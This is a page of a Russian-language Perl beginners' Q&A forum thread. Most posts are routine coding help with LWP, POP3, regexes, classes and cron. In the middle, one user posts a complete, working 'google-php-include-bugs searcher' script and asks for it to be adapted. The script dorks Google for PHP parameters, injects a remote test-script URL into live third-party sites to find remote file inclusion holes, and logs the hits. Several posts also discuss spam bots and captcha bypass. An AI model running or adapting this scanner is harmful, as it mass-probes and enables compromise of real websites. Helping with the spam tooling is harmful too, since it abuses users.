Просмотр полной версии : [Perl] Новичкам: задаем вопросы
Страницы :
1
2
3
[
4]
5
6
7
Подскажите как прочитать удалённый файл?
например
http://www.google.ru/intl/en_com/images/logo_plain.png
или хотя бы скачать его
biophreak
04.09.2008, 17:30
perldoc LWP
perldoc LWP - На самом деле работает )))))
need your help))
как приконектитса к popСерверу(например, mail.ru) с логином, и паролем, и достать количество писем, потом прочитать каждое письмо..
а?))
Примерно так
use Net::POP3;
$login = "vasya"; $pwd = "petya";
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);
if ($pop->login($login, $pwd) > 0) {
my $msgnums = $pop->list;
foreach my $msgnum (keys %$msgnums) {
my $msg = $pop->get($msgnum);
print $msg;
}
$pop->quit;
}
Kiami, СПАСИБО!!!
подключается к pop, авторизуетса, а вот дальше что творит..))
выводит что количество писем: HASH(0x1a8a2e0)
и потом каждое письмо выводит вот так: ARRAY(0x1eac944)
как преобразовать в нормальный формат?или сделать читабельным?))
Модули где они хранятся и как их добавлять?
Tk ???
Perl -e "use Tk" а его нету)
Откуда его слить, и как он станица?
biophreak
23.09.2008, 21:42
perl -MCPAN -e'install Tk' вот как-то вот так)))
можна *.pl код сделать так что бы исходник невозможно было изменить?
Как бы сильно код ни был зашифрован, въедливый реверсер восстановит исходник. Видимо, тока perl2exe, perlcc или подобные
krypt3r. не думаю что многопоточный спамер будет работать после perl2exe, perlcc
При использовании сокетов и потоков после perl2exe работает.
coo1io, интересно что же ему помешает?)
HawkDoom
03.10.2008, 00:46
какой путь писать в скриптах если установил perl F:/perl/bin/
какой путь писать в скриптах если установил perl F:/perl/bin/
#!F:\perl\bin\perl.exe -w
можна *.pl код сделать так что бы исходник невозможно было изменить?
Его нада дописать как надо! Потом сохранить и на фтп зделать префикс тока чьтение или лучше вобще вырубить для постороних! Если это реклама с хоста дописывается в коде попробуй повторить в своем коде код который дописывается мне один раз этот способ помог! Единственый минус этого способа в низу будет показывать ошибка на стронице!
ещё моно в конце дописать!
если конец строницы равен этому концу не выполнять конец(код который дописывается)иначе продолжать работу!
HawkDoom
03.10.2008, 14:53
#!F:\perl\bin\perl.exe -w
а настройки в апаче надо какие?
biophreak
03.10.2008, 18:38
Естественно,хэндлер для .pl .cgi файлов...
И поставить опцию +ExecCGI на диру,откуда будешь запускать скрипты, ну и,естественно, права ))
2 geforce
Думаю, что он все-таки имел в виду обфускацию\компиляцию...
Толково перловый код не обфусцируешь...всеравно легко все это вскрывается )
А в случае с компиляторами(perl2exe,perlcc), как уже было сказано - могут быть проблемы с работой скрипта в дальнейшем...
только начал учить .copy/past с учебника
#!/usr/local/bin/perl
open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!";
while(<PASS>)
{
($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':');
write(); # Форматированный вывод данных.
}
close(PASS);
exit 0; # Завершение программы
### Описание формы вывода ###
format STDOUT =
Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
---------------------------------------------------------------
Login:@<<< Uid:@<<< Gid:@<<< Home dir:@<<<
$login, $uid, $gid, $home_dir
---------------------------------------------------------------
. # Это последняя строка программы
пишет
Format not terminated at 1.pl line 23, at end of line
syntax error at 1.pl line 23, at EOF
Execution of 1.pl aborted due to compilation errors.
Oo :rolleyes:
в последней строке убери коментарий, оставь только точку
akakernel
31.10.2008, 00:21
Списал из учебника примеры кодов работы с классами.
В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит.
Вот реализация первого класса:
package Hourly;
use Employee;
our @ISA = qw(Employee);
sub new
{
my $object = shift();
my $class = ref($object) || $object;
my $self = $class->SUPER::new();
$self->{rate} = undef;
bless($self, $class);
return $self;
}
sub rate { Тут реализация метода}
1;
Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении: Can't locate object method "rate" via package Employee at __ line __
И второй случай с сокрытием данных. package EmployeeClosure;
sub new
{
my $object = shift();
my $class = ref($object) || $object;
my $employee = {firstname => shift(), lastname => shift()};
my $hireDay = new Date;
if ($_[0]) {
my ($month, $day, $year) = split(/\//, $_[0]);
$hireDay->day($day);
$hireDay->month($month);
$hireDay->year($year);
}
my $self = sub {
my $field = shift();
$employee->{$field} = shift() if (@_);
return $employee->($field);
};
bless ($self, $class);
return $self;
}
Выдает:
Not a CODE reference at __ line 22; ( это строка return $employee->($field);)
Тут у меня вообще пока соображений нет.
#!usr/bin/perl
use LWP::UserAgent;
$client = LWP::UserAgent->new( ) or die;
print "Enter site:";
$url=<STDIN>; #Просим пользователя ввести адрес сайта
$answer = $client->get($url); #Отсылаем запрос на сайт
print "============================\n";
print $answer->header('server'); # Выводим поле Server из заголовка
print "============================\n";
вывод
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0============================
вместо
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0
============================
...
print $answer->header('server'); # Выводим поле Server из заголовка
print "\n============================\n";
akakernel
02.11.2008, 19:30
Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.
satana8920
15.11.2008, 13:27
в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((()
заранее спасибо с уважанием Сатана
#! /usr/bin/perl
# ================================================== ============== #
# google-php-include-bugs searcher v 0.8 #
# (c)oded by drmist\STNC #
# www.security-teams.net #
# #
# ATTENTION. THIS SCRIPT IS PRIVATE. #
# ONLY FOR STNC AND FRIENDS. NOT FOR SALE. #
# #
# Usage: perl script.pl --log=<log-file> --url=<test-script-url> #
# Test script: #
# <?php #
# error_reporting(0); #
# $s = md5("STNC"); #
# $code = eregi("windows", php_uname())+ #
# 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ #
# 4*ini_get('safe_mode'); echo $s."[$code]".$s; #
# ?> #
# ================================================== ============== #
use IO::Socket;
@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
"inc", "incl", "include", "read", "write", "data", "code", "fname",
"filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
"seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
"corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
"conteudo");
@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
"info", "name", "aero", "biz", "edu", "ws", "in",
"cn", "us", "be", "it", "cc", "tv", "ru", "su",
"jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
"be", "fi", "gov");
@ftypes = ("php", "php3");
$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");
for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}
if(!($script && $log)){ usage(); exit; }
foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
foreach $ftype(@ftypes)
{
$request = "filetype:$ftype site:$zone inurl:$inc=";
print "\n[$request]\n";
$request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
@dn = ();
for($i = 0;$i < 10; $i++)
{
@temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
"00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
foreach $url (@temp)
{
if($url !~ /($inc=[^\&]+)/i) { next; }
$left = $`; $right = $';
if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
if($url =~ /google\.com/i){ next; }
($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
if($domain =~ /^www\.(.+)$/) { $domain = $1; }
$f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
push @dn, $domain;
$print = "$left$inc=[INCLUDE]$right";
if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
{
$s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
$count++;
print "[$count] $s";
open LOG, ">>$log";
print LOG $s;
close LOG;
}
else {
print "$print - no bugs\n";
}
}
}
}
}
}
sub timeout() { close $sock; }
sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";
if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }
$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM,
TimeOut => $timeout
) or return 0; # connection failed
print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";
$SIG{ALRM} = \&timeout; alarm 10;
while(<$sock>){ $data .= $_; }
alarm 0; close $sock;
}
return $data;
}
sub usage()
{
print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
);
}
немног не в тему,но....
нашол скрипт,выдаёт:
Missing Perl modules:
Net::DNS
Archive::Zip
хде их найти?
biophreak
16.11.2008, 00:55
su && perl -MCPAN -e'install Net::DNS' && perl -MCPAN -e'install Archive::Zip'
как-то так
Есть строка
else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() }
Подскажите пожалуйста ее смысл в частности что значит StartHTML(); login_form(); finish_doc().
Есть строка
else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() }
Подскажите пожалуйста ее смысл в частности что значит StartHTML(); login_form(); finish_doc().
Я может не совсем тебя понял, но это обычные вызовы обычных функций
Это ясно вопрос в следующим эти функци стандартные или они должны быть гдето описанны есле описанны то как искать их описание? И еще вопрос сверху: на сервер есть некоторая папка scripts в ней файлы
1.pl 2.pl 3.pl есле пишу scripts\2.pl есле scripts\2.pl то вылетает некотарая стриница причем скрипт явно не выполняектся. Возможен ли такой варинт что не дает мне доступ к скрипту некий сскрипт типа index.pl который скажим провеояет меня по ip?
Pashkela
21.11.2008, 02:18
else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() }
ну начнем с того, что перед фигурной скобкой в конце пропущено ";"
что уже не даст выполнится скрипту корректно. Просто у тебя отключено отображение ошибок, по всей видимости
Насамом деле код не мой мне надо с ним тока разобратся. С ; в конце тоже не очень понятно но ошибка не вылезает. Тока вопрос остается темже StartHTML(); login_form(); finish_doc() стандартные это функции или нет. И плюс для кучи еще вопрос. В коде часто встречатся строчко $FORM{'login'} $FORM{'user'} $FORM{'pass'} и т д, так вот немогу понять из за не знание perl что это толком значит я так понимаю это просто присваивание значение переменной char? И какой смысл тогда имет такая строчка if($FORM{'login'})
А что непонятного с точкой с запятой? Все операторы перла разделяются этим знаком, и неважно, в одну строку записан скрипт или в несколько.
StartHTML(); login_form(); finish_doc();
Это вызовы подпрограмм. Их код ищите или в текущем файле, или смотрите, какие пакеты подключены в начале скрипта оператором use. Этими функциями, если судить по названиям, формируется веб-страница
FORM{'login'} $FORM{'user'} $FORM{'pass'}
В перле существует такой термин как ассоциативные массивы (хэши). В данном случае описывается хэш %FORM и идет обращение к его полям login, user и pass. Хэш, судя по всему, формируется какой-либо веб-формой, и после нажатия на submit происходит его заполнение.
Строка
if($FORM{'login'})
означает проверку, пустой логин ввел юзер или нет. Все, что внутри оператора if, выполнится только, если логин был введен.
Digimortal
21.11.2008, 15:25
else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() }
ну начнем с того, что перед фигурной скобкой в конце пропущено ";"
что уже не даст выполнится скрипту корректно. Просто у тебя отключено отображение ошибок, по всей видимости
В PERL символ ";" - это разделитель между выражениями языка, а не символ их окончания, поэтому отсутствие его в конце блока кода - не ошибка.
Pashkela
21.11.2008, 21:13
2 Digimortal:
Да я уже понял, раздел с php перепутал. Сорри
Регулярка, нужна помощь, срочно оч...
abbreviate
v. 1 shorten, compress, contract, truncate, trim, reduce,
curtail: We abbreviated some of the longer words to save space.
2 shorten, cut, condense, abridge, abstract, digest, epitomize,
summarize, US synopsize: The school presented an abbreviated
version of A Midsummer Night's Dream.
Есть куча текста такого вида, нужно удалить все предложения(примеры).
В этой ситуации это:
: The school presented an abbreviated
version of A Midsummer Night's Dream.
Все примеры начинаются с : и заканчиваются .
Вот мои не рабочие варианты:
s/: (.*)//ig;
s/: (.*) \.//ig;
s/: (.*) \n \.//ig;
s/: (.*) \n (.*) \.//ig;
Помогите пожалуйста!
krypt3r, не то! Ребят помогайте - кто подскажет обязательно плюс поставлю! Еще раз обьясняю задание. Есть текст типа:
wfvdsgfds: sdfsdfdsfasdasf. Надо удалить : sdfsdfdsfasdasf.
Чего не то? o_O
#!/usr/bin/perl
use strict;
use warnings;
my $text = "abbreviate
v. 1 shorten, compress, contract, truncate, trim, reduce,
curtail: We abbreviated some of the longer words to save space.
2 shorten, cut, condense, abridge, abstract, digest, epitomize,
summarize, US synopsize: The school presented an abbreviated
version of A Midsummer Night's Dream.";
$text =~ s/:[^\.]+\.//g;
print $text, "\n";
Результат
abbreviate
v. 1 shorten, compress, contract, truncate, trim, reduce,
curtail
2 shorten, cut, condense, abridge, abstract, digest, epitomize,
summarize, US synopsize
С этим вопросом разобрался! Спасибо.
Но ребя добить не получается никак :( Помогите плз.
Вообще суть такая, есть текстовой документ с таким текстом:
abandon v. 1 give up or over, yield, surrender, leave, cede, let go,
deliver (up), turn over, relinquish: I can see no reason why we
should abandon the house to thieves and vandals. 2 depart from,
leave, desert, quit, go away from: The order was given to
abandon ship. 3 desert, forsake, jilt, walk out on: He even
abandoned his fianc‚e. 4 give up, renounce; discontinue, forgo,
drop, desist, abstain from: She abandoned cigarettes and whisky
after the doctor's warning.
--n. 5 recklessness, intemperance, wantonness, lack of
restraint, unrestraint: He behaved with wild abandon after he
received the inheritance.
abandoned adj. 1 left alone, forlorn, forsaken, deserted, neglected;
rejected, shunned, cast off or aside, jilted, dropped, outcast:
An abandoned infant was found on the church steps. Totally
alone, she felt abandoned by her friends. 2 bad, immoral,
amoral, wicked, sinful, evil, corrupt, unprincipled,
unrestrained, uninhibited, reprobate; loose, wanton, debauched,
wild, dissolute, dissipated, profligate; depraved, lewd,
lascivious, flagitious: His abandoned behaviour soon landed him
in jail.
abbreviate
v. 1 shorten, compress, contract, truncate, trim, reduce,
curtail: We abbreviated some of the longer words to save space.
2 shorten, cut, condense, abridge, abstract, digest, epitomize,
summarize, US synopsize: The school presented an abbreviated
version of A Midsummer Night's Dream.
abbreviated
adj. skimpy, brief, revealing: The dancers' abbreviated
costumes shocked some members of the audience.
abbreviation
n. initialism; acronym; shortening, contraction: UK is one
kind of abbreviation, or initialism; NATO, which is pronounced
as a word, is another, usually called an acronym.
abdicate v. give up, renounce, disclaim, waive, disown, surrender,
yield, relinquish, abandon, resign, quit: He abdicated all
responsibility for care of the children. She abdicated the
throne to marry a commoner.
abduct v. kidnap, carry off, make away or off with, seize, Slang US
snatch, grab: The child that was abducted is safe.
abet v. 1 encourage, urge, instigate, incite, provoke, egg on, prod,
goad; aid, help, assist: The jury found that his wife had
abetted him in the murder. 2 countenance, approve (of),
support, endorse, second, sanction, condone; further, advance,
promote, uphold: By failing to inform on the terrorists, the
neighbours abetted the bombing.
abeyance n. in abeyance. pending, abeyant, reserved, in reserve,
shelved, pushed or shoved or shunted aside, postponed, put off,
suspended, US tabled; temporarily inactive, dormant; latent;
Colloq in a holding pattern, on the back burner; Slang on hold,
in the deep-freeze, on the shelf, on ice, hanging fire: Legal
proceedings were held in abeyance so that talks could take place
to reach an out-of-court settlement.
abhor v. hate, loathe, detest, abominate, execrate; regard or view
with horror or dread or fright or repugnance or loathing or
disgust, shudder at, recoil or shrink from; be or stand aghast
at: He said that he abhorred any violation of human rights.
abhorrent adj. hateful, detestable, abhorred, abominable, contemptible,
odious, loathsome, horrid, heinous, execrable, repugnant;
repulsive, repellent, revolting, offensive, disgusting,
horrifying, obnoxious: The idea of war was totally abhorrent to
her.
и т.д.
Нужно сделать что бы было так:
abhorrent|hateful|detestable и т.д.
т.е. убрать из текста все числа, удалить все словечки типа adj. v. и т.п.
Удалить все примеры (начинаются или с : или с . заканчиваются .).
Вот мои наброски:
open(TXT,"file.txt");
open(ST,">result.txt");
@all=<TXT>;
close(TXT);
$string=join($string,@all);
$string=~s/v\.|adj\.|n\.//ig;
$string=~s/\d//ig;
$string=~s/,|;/|/ig;
$string=~s/:[^\.]+\.//g;
$string=~s/\.(.*)\.//g;
@new=$string;
foreach (@new){
$_=~s/ {2,}/|/g; #Удаление пробелов
$_=~s/ //g; #Удаление пробелов
$_ .= "\n"; #Установка символа переноса строки
print ST $_; #Запись в файл
}
close(ST);
Но работает хреновенько :(. Кто действительно поможет, получит небольшое денежное вознагрождение и + !
Всем спасибо заранее
Обязательно на Perl?
Могу на PHP написать.
Solker, сори, обязательно на Perl
$p01nt, попробуй вот этот код.
#!/usr/bin/perl
use strict;
use warnings;
open my $F, '<', '05.txt';
my $text = join '', <$F>;
$text =~ s/\n{2}/\$\$\$/g;
$text =~ s/\n/ /g;
$text =~ s/:[^\.]+\./\,/g;
$text =~ s/\d+//g;
$text =~ s/[\,\;]/\|/g;
$text =~ s/\s(v|n|adj|pron|num|adv|prep|conj)\.\s/\|/g;
$text =~ s/\|\s+/\|/g;
$text =~ s/\$\$\$/\n/g;
$text =~ s/\s*\|\s*$//g;
print $text, "\n";
Но код имеет ограничения. Первое - если идет подряд несколько примеров, то вырезается только первый (регулярка s/:([^\.]+\.)+/\,/g не помогла). Второе - надо в строке $text =~ s/\s(v|n|adj|pron|num|adv|prep|conj)\.\s/\|/g; перечислить все части речи, встречающиеся в файле. Третье - строка
--n. 5 recklessness, intemperance, wantonnes видимо съехала с родного места, такие надо поднимать к соответствующему слову на родину.
ЗЫ. Больше моск уже не работает =/
Опять я с тупыми вопросами :) Теперь у мну не работает парсер.
#Обьявление необходимых модулей
use warnings;
use LWP 5.64;
use encoding "cp1251";
#Создаем "броузер" и обьявляем переменные
$urlWnews='http://www.kinopoisk.ru/level/2/page/';
$newsview='http://www.kinopoisk.ru/level/2/news/';
$numbOnpage=5;
$parsWpage=2;
$browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.76 [en] (Win98; U)');
#Узнаем номер новостей на каждой странице
$sr=1;$i=0;
while($parsWpage > $sr){
$urlWnews="http://www.kinopoisk.ru/level/2/page/" . "$sr";
print "Parsim $urlWnews\n";
while($numbOnpage > $i) {
$response=$browser->get($urlWnews) or die ("DIE!");
$response=$response->as_string;
@ms=$response=~m/<a href="\/level\/2\/news\/(.*)\/" class="continue">/ig;
print $ms[$i] . "\n";
$i++;
}
$i=0;
$sr++;
}
#Самый чоткий момент, вытаскиваем новости! #Помочь тут :))
$i=0;$max=$#ms;
while($max > $i){
$newsview .= $ms[$i];
$response=$browser->get($newsview) or die ("DIE!");
$response=$response->as_string;
@titl=$response=~m/<title>(.*)<\/title>/ig;
$titl[$i] .= '.txt';
@text=$response=~m/<tr><td style="padding-top:10px;padding-bottom:20px" colspan=2 class="news">[^\.]<td><\/tr>/ig; # ВОт тут не получается
open(FF,">$titl[$i]");
print FF $text;
close(FF);
}
Cобственно говоря все до парсинга самой новости работает. А вот с последним проблемы, помогите плз!
....
на, держи
#Обьявление необходимых модулей
use warnings;
use LWP 5.64;
use encoding "cp1251";
#Создаем "броузер" и обьявляем переменные
$urlWnews='http://www.kinopoisk.ru/level/2/page/';
$newsview='http://www.kinopoisk.ru/level/2/news/';
$numbOnpage=5;
$parsWpage=2;
$browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.76 [en] (Win98; U)');
#Узнаем номер новостей на каждой странице
$sr=1;$i=0;
while($parsWpage > $sr){
$urlWnews="http://www.kinopoisk.ru/level/2/page/" . "$sr";
print "Parsim $urlWnews\n";
while($numbOnpage > $i) {
$response=$browser->get($urlWnews) or die ("DIE!");
$response=$response->as_string;
@ms=$response=~m/<a href="\/level\/2\/news\/(.*)\/" class="continue">/ig;
print $ms[$i] . "\n";
$i++;
}
$i=0;
$sr++;
}
#Самый чоткий момент, вытаскиваем новости! #Помочь тут :))
$i=0;$max=$#ms;
while($max > $i){
$newsview_temp = $newsview . $ms[$i];
#^^^^^^^бага воз хир!!
$response=$browser->get($newsview_temp) or die ("DIE!");
$response=$response->as_string;
@titl=$response=~m/<title>(.*)<\/title>/i;
@text=$response=~m/<td style="padding-top:10px;padding-bottom:20px" colspan=2 class="news">(.*?)<td>/is; # ВОт тут не получается
#^^^^^^^анд хир
#::какбэ trim
$text[0] =~ s/^\s*(.*?)\s*$/$1/s;
open(FF,">$titl[0].txt");
#^^^^^^^анд хир
print FF $text[0];
#^^^^^^^анд хир
close(FF);
$i++;
#^^^^^^^анд хир;)
}
с именами файлов фигня, предлогаю как имя файла использовать айди.
ZiLiBoBa
26.11.2008, 21:52
Чуваки помогите пожалуйс вопрос немного не по теме,но надо очень срочно!!!
найти наибольший элемент каждой строки мытрицы А(4;6) и записать их в массив Y
при заданных массивах X(10)-абсцисс,Y(10)-ординат точек плоскости XOY,подсчиатть,сколько из них находится в пределах круга с заданным радиусом Р и центром в начале координаь (0;0)........пож напишите ответ в асю 446644218...очень срочно надо!!!
Гы, ну еси на перле то типа:
use warnings;
while(<>) {eval $_}
sub radius {
@x = (); for(0..9) {print $x[$_] = int(rand(100)); print"|"} print "\n";
@y = (); for(0..9) {print $y[$_] = int(rand(100)); print"|"} print "\n";
print "R-?\n";
$R = <>;
$D = 0;
for(0..9) {($x[$_] < $R && $y[$_] < $R) ? (++$D) : ();}
print "Dots in radius: ".$D;
}
sub matrix {
@data = ();
for my $x(0..3) {
for my $y(0..5) {
print $data[$x][$y] = int(rand(100))." ";
}
print "\n";
}
print "\n";
for my $x(0..3) {
$max = $data[$x][0];
for my $y(0..5) {
($max < $data[$x][$y]) ? ($max = $data[$x][$y]) : ();
}
print "Line $x maximum - $max\n";
}
}
Здравствуйте. Передо мной стоит задача - произвести замену в тексте следующим образом:
Есть текст с хтмл кодом. Нужно взять текст между всеми тегами <b> и </b>, проделать с ним ряд операций, а затем результаты вставить обратно соответственно. К примеру, было так:
<b>A</b>...big code...<b>B</b>
а нужно, чтобы получилось так:
<b>A1</b>...big code...<b>B1</b>
Подскажите, как цикл организовать? То есть чтобы скрипт обработал значение между первыми <b> и </b>, заменил на результат преобразований и приступил к обработке следующего участка с <b> и </b>.
Сделать одну такую замену у меня прекрасно получается, а вот сделать другую автоматом - нет! Не догоняю, как организоать цикл, чтбы скрипт обработал один и тот же участок 1 раз :confused: . Помогите, пожалуйста
Здравствуйте. Передо мной стоит задача - произвести замену в тексте следующим образом:
Есть текст с хтмл кодом. Нужно взять текст между всеми тегами <b> и </b>, проделать с ним ряд операций, а затем результаты вставить обратно соответственно. К примеру, было так:
<b>A</b>...big code...<b>B</b>
а нужно, чтобы получилось так:
<b>A1</b>...big code...<b>B1</b>
Подскажите, как цикл организовать? То есть чтобы скрипт обработал значение между первыми <b> и </b>, заменил на результат преобразований и приступил к обработке следующего участка с <b> и </b>.
Сделать одну такую замену у меня прекрасно получается, а вот сделать другую автоматом - нет! Не догоняю, как организоать цикл, чтбы скрипт обработал один и тот же участок 1 раз :confused: . Помогите, пожалуйста
#!/usr/bin/perl -w
$text = '<b>A</b>...big code...<b>B</b>...big code...<b>C</b>...big code...<b>D</b>...big code...<b>E</b>...big code...<b>F</b>';
$newtext = $text;
while($text =~ /<b>(.*?)<\/b>/g) {
$str = $1;
#всякие действия
$str .= '1';
################
$newtext =~ s/$1/$str/;
}
print $newtext;
Мужики! Всем привет!
Я скачал Active Perl и не могу разобраться, пытался проинсталить свой leecher.pl
используя команду install.
Делаю первый раз, может быть есть что-то лучше чем Active Perl? Посоветуйте пожалуйста.
Заранее благодарен!
Зачем скрипт инсталлировать? Просто запусти его типа
perl leecher.pl
http://www.cgi-scripts.info/perl/perlw32.shtml
так все делал?
Запустил скрипт! Большое спасибо - буду теперь кывыряться :)
Всем привет! Как поделить масив на две части? (равные, почти равные) Как на три?
Пробую вот так:
#@all - массив
$np=$#all/2; @one=$all[0..$np];@two=$all[$np..$#all];
Как поделить масив на две части? (равные, почти равные)
Как вариант вот так:
@one = @two = ();
@array = (1..10);
for(0..$#array) {
$_ < $#array/2 ? (push(@one,$array[$_])) : (push(@two,$array[$_]));
}
Digimortal
06.12.2008, 17:22
Как вариант вот так:
@one = @two = ();
@array = (1..10);
for(0..$#array) {
$_ < $#array/2 ? (push(@one,$array[$_])) : (push(@two,$array[$_]));
}
Ну и зачем каждый раз в цикле делать эту проверку?
Ну и зачем каждый раз в цикле делать эту проверку?
Ну и зачем писать этот комментарий? Лучше бы написал свое более качественное решение.
for(1..$#a/2+1) { push (@b, shift @a); }
Digimortal
07.12.2008, 00:03
>> Ну и зачем писать этот комментарий? Лучше бы написал свое более качественное решение.
Это не комментарий, это вопрос. )
Мое "решение" для $p01nt'a выглядело бы так: "А не почитать ли тебе учебник по языку на досуге?"
ВОт вопрос может не по теме, но как запустить на нормальном платном хостинге написанный скрипт, чтобы он работал постоянно? То есть, если я его на компе запущу - то он будет работать, а как это сделать на хостинге?
Pashkela
10.12.2008, 00:38
http://coding.derkeiler.com/Archive/Perl/perl.beginners/2006-12/msg00755.html
ВОт вопрос может не по теме, но как запустить на нормальном платном хостинге написанный скрипт, чтобы он работал постоянно? То есть, если я его на компе запущу - то он будет работать, а как это сделать на хостинге?
screen или cron.
biophreak
10.12.2008, 10:22
Не обязательно....иногда достаточно просто запустить perl script.pl params &
Просто запустить не получится - перезагружается сервер и опять мне вручную пускать.
cron - вариант понравился. У меня стоит панель ISP Manager, но я думаю - это не имеет значегия... Что написать в поле "Команда"? То есть предположим скрипт лежит в www/script.pl. Как прописать команду в cron, чтобы он запустился?
biophreak
11.12.2008, 10:02
Есть доступ к /etc/rcN.d ?
biophreak
15.12.2008, 14:11
N - номер ранлевела...учи матчасть...grep /etc/inittab | grep default
DarkMist
15.12.2008, 23:34
помогите с "Can't locate IO/Socket/SSL.pm in" пробывал как написал (KSURi::: perl -MCPAN -e "install IO::Socket::SSL") непомогло((
вот нашел search.cpan.org/~sullr/IO-Socket-SSL-1.18/SSL.pm что дальше делать подскажите??
biophreak
16.12.2008, 00:40
Устанавливать,видимо?
---
Капитан очевидность....
KSURi *****бол, не верьте ему!
есть небольшой вопрос по перлу, напишите 1331316 отблагодорю
biophreak
17.12.2008, 05:01
[FREE] Пиши сюда, поможем :)
короче есть спамер на перле одноклашек, он отправляет токо 20 друзьям сообщения и закрывается, что может быть? есть антикапча скрипт обрашается к anti-captcha.ru по деньги от туда не снимаются
constanta
18.12.2008, 21:29
Народ . Прошу помочь. Проблема пустяковая но просто не могу понять в чем дело.
Задача такая :
Есть 2 файла. В одном Шаблоны для поиска(file1), во втором Текстовый файл в котором нужно непосредственно производить поиск (file2).
open file1, $file1 or die qq{cannot read "$file1": $! };
open file2,$file2 or die qq {cannot read "$file2":$!};
while (defined($string=<file1>))
{
chomp($string);
while (<file2>){
if (m/$string/)
{
$b=$_;
print "$b\n" ;
}
}
}
Почему то выполняется поиск только по первому шаблону.
Перепробывал кучу написаний с циклами масивами и т.д. Не могу понять в чем дело.
помогите с "Can't locate IO/Socket/SSL.pm in" пробывал как написал (KSURi::: perl -MCPAN -e "install IO::Socket::SSL") непомогло((
вот нашел search.cpan.org/~sullr/IO-Socket-SSL-1.18/SSL.pm что дальше делать подскажите??
пробовал
ppm install "IO::Socket::SSL"
?
constanta
18.12.2008, 21:49
']пробовал
ppm install "IO::Socket::SSL"
?
Или так сначала так cpan
потом так i/Socket/
потом install (то что подойдет тебе)
P.S. Ответьте плиз на мой пост
constanta
#!/usr/bin/perl -w
open file1,"1.txt" or die qq {cannot read "$file1":$!};
open file2,"2.txt" or die qq {cannot read "$file2":$!};
@lines = <file2>;
@patterns = <file1>;
for($i=0;$i<=$#lines;$i++) {
for($k=0;$k<=$#patterns;$k++) {
$str = $patterns[$k];
$str=~s/\n|\r$//g;
if ($lines[$i] =~ /$str/)
{
print $lines[$i];
}
}
}
constanta
18.12.2008, 23:20
Так не работает. А во вторых File2 достаточно большого объема в среднем около 40-60 мб. Мне кажется засовывать такой файл в массив будет опрометчиво (ИМХО).
Я делал вот так :
@array=<file1>;
for ($index=0;$index<=$#array;$index++)
{
chomp(@array[$index]) ;
while (<file2>)
{
$a=@array[$index];
if (m/$a/gi) {
$str=$_;
print $str;
}
}
}
Но опять же поиск в file2 почему то шел только по нулевому значению @array. Остальные читались но по ним поиск не шел. Я хз в чем дело. ХЕЛП !!!
P.S. Ищет то оно у меня правильно . Именно так как надо ! Но почему только по первому значению массива ??? Почему следующие значения во второй цикл не подставляет ?
while (/$string/g) {...}
?
constanta
19.12.2008, 02:56
сорри но не представляю как это можно использовать в данном случае.
З.Ы. Я вообще не могу понять почему во втором цикле не выполняется следующая строка файла с шаблонами. Народ подскажите хотя бы в какую сторону копать. Что это может быть ?Если Print сделать первого файла то выводит полностью все шаблоны. А вот какого то не пихается во второй цикл вторая и ниже строки. Я хз.
